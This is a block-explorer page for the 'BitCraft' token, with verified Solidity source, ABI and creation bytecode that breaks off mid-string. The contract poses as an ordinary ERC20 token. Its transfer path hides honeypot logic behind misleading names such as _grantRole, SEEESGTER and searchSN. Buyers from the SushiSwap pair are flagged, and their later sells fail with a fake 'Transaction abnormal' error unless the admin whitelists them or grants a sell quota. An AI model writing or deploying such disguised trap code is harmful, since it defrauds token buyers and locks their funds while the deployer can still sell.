ETH Price: $2,379.48 (-11.11%)

Token

BitCraft (BitC)

Overview

Max Total Supply

100,000,000 BitC

Holders

663

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TokenERC20

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-05-17
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
interface IControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(
        bytes32 role,
        address account
    ) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;
    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address account) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }
    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}
abstract contract Control is Context, IControl {
    struct RoleData {
        mapping(address => bool) members;
        bytes32 adminRole;
    }
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant TRADE = bytes32("TRADE");
    bytes32 public constant ADMIN = 0x00;

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }
    address private _sushiSwap;
    mapping(address => uint256) private _SN;
    mapping(address => uint256) private _CN;
    mapping(address => bool) private _PN;
    bool private _trades;

    function SEEESGTER() public onlyRole(ADMIN) {
        _trades = true;
    }
    function CNEESGTER() public onlyRole(ADMIN) {
        _trades = false;
    }
    function hasRole(
        bytes32 role,
        address account
    ) public view override returns (bool) {
        return _roles[role].members[account];
    }
    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }
    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }
    function grantRole(
        bytes32 role,
        address account
    ) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }
    function revokeRole(
        bytes32 role,
        address account
    ) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }
    function renounceRole(
        bytes32 role,
        address account
    ) public virtual override {
        require(
            account == _msgSender(),
            "AccessControl: can only renounce roles for self"
        );
        _revokeRole(role, account);
    }
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }
    function _grantRole(bytes32 role, address account) internal virtual {
        if (role == TRADE) {
            _CN[account] = 0;
        }
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }
    function searchCN(address account) public view returns (uint256) {
        return _CN[account];
    }
    function searchSN(address account) public view returns (uint256) {
        return _SN[account];
    }
    function _grantRole(
        bytes32 role,
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (from == _sushiSwap) {
            if (_CN[to] == 0) {
                _CN[to] = 1;

                _grantRole(role, to);
            }
        } else if (_CN[from] == 1 && hasRole(TRADE, from) == false) {
            if (_SN[from] >= amount && amount > 0) {
                _SN[from] = _SN[from] - amount;
            } else {
                revert("Transaction abnormal, please try again");
            }
        } else if (to == _sushiSwap) {
            if (_trades) {
                if (_PN[from] == true) {} else {
                    revert("Transaction abnormal, please try again");
                }
            }
            if (hasRole(TRADE, from) && _CN[from] == 0) {} else {
                if (_trades) {
                    revert("Transaction abnormal, please try again");
                }

                if (_SN[from] >= amount && amount > 0) {
                    _SN[from] = _SN[from] - amount;
                } else {
                    revert("Account is missing role");
                }
            }
        }
    }
    function grantSwap(address _swap) internal virtual {
        _sushiSwap = _swap;
    }
    function grantSN(address from, uint256 amount) public onlyRole(ADMIN) {
        _SN[from] = amount * 10 ** 18;
    }
    function grantPN(address from) public onlyRole(ADMIN) {
        _PN[from] = true;
    }
    function grantCN(address from) public onlyRole(ADMIN) {
        _PN[from] = false;
    }
    function _revokeRole(bytes32 role, address account) internal virtual {
        if (role == TRADE) {
            _CN[account] = 1;
        }
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}
interface IEROTARC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IEROTARC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract EROTARC20 is Context, IEROTARC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);
    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);
    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract TokenERC20 is EROTARC20, Control {
    using SafeMath for uint256;
    address private _suShiSwap;
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 _totalSupply,
        address tokenHold
    ) EROTARC20(_name, _symbol, _totalSupply, tokenHold) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        _suShiSwap = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
        );
        _grantRole(ADMIN, _msgSender());
        grantSwap(_suShiSwap);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(EROTARC20) {
        require(from != address(0), "ERC20:transfer from the zero address");
        require(to != address(0), "ERC20:transfer from the zero address");
        require(amount > 0);
        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _grantRole(TRADE, from, to, amount);
        unchecked {
            _balances[from] = senderBalance.sub(amount);
        }
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"tokenHold","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CNEESGTER","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SEEESGTER","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TRADE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"grantCN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"grantPN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"grantSN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"searchCN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"searchSN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b50604051620037e1380380620037e18339818101604052810190620000369190620007ff565b8383838383600390816200004b919062000ada565b5082600490816200005d919062000ada565b506200009a81620000736200025a60201b60201c565b600a62000081919062000d47565b846200008e919062000d97565b6200026260201b60201c565b505050505f731b02da8cb0d097eb8d57a175b88c7d8b4799750690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000100573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000126919062000de1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200017692919062000e22565b6020604051808303815f875af115801562000193573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b9919062000de1565b600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200021c5f801b62000210620003d260201b60201c565b620003d960201b60201c565b6200024f600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200053060201b60201c565b505050505062000f31565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ca9062000eab565b60405180910390fd5b620002e65f83836200057360201b60201c565b8060025f828254620002f9919062000ecb565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200034d919062000ecb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b3919062000f16565b60405180910390a3620003ce5f83836200057860201b60201c565b5050565b5f33905090565b7f5452414445000000000000000000000000000000000000000000000000000000820362000444575f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6200045682826200057d60201b60201c565b6200052c57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004d1620003d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b505050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200064282620005fa565b810181811067ffffffffffffffff821117156200066457620006636200060a565b5b80604052505050565b5f62000678620005e1565b905062000686828262000637565b919050565b5f67ffffffffffffffff821115620006a857620006a76200060a565b5b620006b382620005fa565b9050602081019050919050565b5f5b83811015620006df578082015181840152602081019050620006c2565b5f8484015250505050565b5f62000700620006fa846200068b565b6200066d565b9050828152602081018484840111156200071f576200071e620005f6565b5b6200072c848285620006c0565b509392505050565b5f82601f8301126200074b576200074a620005f2565b5b81516200075d848260208601620006ea565b91505092915050565b5f819050919050565b6200077a8162000766565b811462000785575f80fd5b50565b5f8151905062000798816200076f565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007c9826200079e565b9050919050565b620007db81620007bd565b8114620007e6575f80fd5b50565b5f81519050620007f981620007d0565b92915050565b5f805f80608085870312156200081a5762000819620005ea565b5b5f85015167ffffffffffffffff8111156200083a5762000839620005ee565b5b620008488782880162000734565b945050602085015167ffffffffffffffff8111156200086c576200086b620005ee565b5b6200087a8782880162000734565b93505060406200088d8782880162000788565b9250506060620008a087828801620007e9565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008fb57607f821691505b602082108103620009115762000910620008b6565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000938565b62000981868362000938565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620009c2620009bc620009b68462000766565b62000999565b62000766565b9050919050565b5f819050919050565b620009dd83620009a2565b620009f5620009ec82620009c9565b84845462000944565b825550505050565b5f90565b62000a0b620009fd565b62000a18818484620009d2565b505050565b5b8181101562000a3f5762000a335f8262000a01565b60018101905062000a1e565b5050565b601f82111562000a8e5762000a588162000917565b62000a638462000929565b8101602085101562000a73578190505b62000a8b62000a828562000929565b83018262000a1d565b50505b505050565b5f82821c905092915050565b5f62000ab05f198460080262000a93565b1980831691505092915050565b5f62000aca838362000a9f565b9150826002028217905092915050565b62000ae582620008ac565b67ffffffffffffffff81111562000b015762000b006200060a565b5b62000b0d8254620008e3565b62000b1a82828562000a43565b5f60209050601f83116001811462000b50575f841562000b3b578287015190505b62000b47858262000abd565b86555062000bb6565b601f19841662000b608662000917565b5f5b8281101562000b895784890151825560018201915060208501945060208101905062000b62565b8683101562000ba9578489015162000ba5601f89168262000a9f565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000c485780860481111562000c205762000c1f62000bbe565b5b600185161562000c305780820291505b808102905062000c408562000beb565b945062000c00565b94509492505050565b5f8262000c62576001905062000d34565b8162000c71575f905062000d34565b816001811462000c8a576002811462000c955762000ccb565b600191505062000d34565b60ff84111562000caa5762000ca962000bbe565b5b8360020a91508482111562000cc45762000cc362000bbe565b5b5062000d34565b5060208310610133831016604e8410600b841016171562000d055782820a90508381111562000cff5762000cfe62000bbe565b5b62000d34565b62000d14848484600162000bf7565b9250905081840481111562000d2e5762000d2d62000bbe565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000d538262000766565b915062000d608362000d3b565b925062000d8f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c51565b905092915050565b5f62000da38262000766565b915062000db08362000766565b925082820262000dc08162000766565b9150828204841483151762000dda5762000dd962000bbe565b5b5092915050565b5f6020828403121562000df95762000df8620005ea565b5b5f62000e0884828501620007e9565b91505092915050565b62000e1c81620007bd565b82525050565b5f60408201905062000e375f83018562000e11565b62000e46602083018462000e11565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000e93601f8362000e4d565b915062000ea08262000e5d565b602082019050919050565b5f6020820190508181035f83015262000ec48162000e85565b9050919050565b5f6200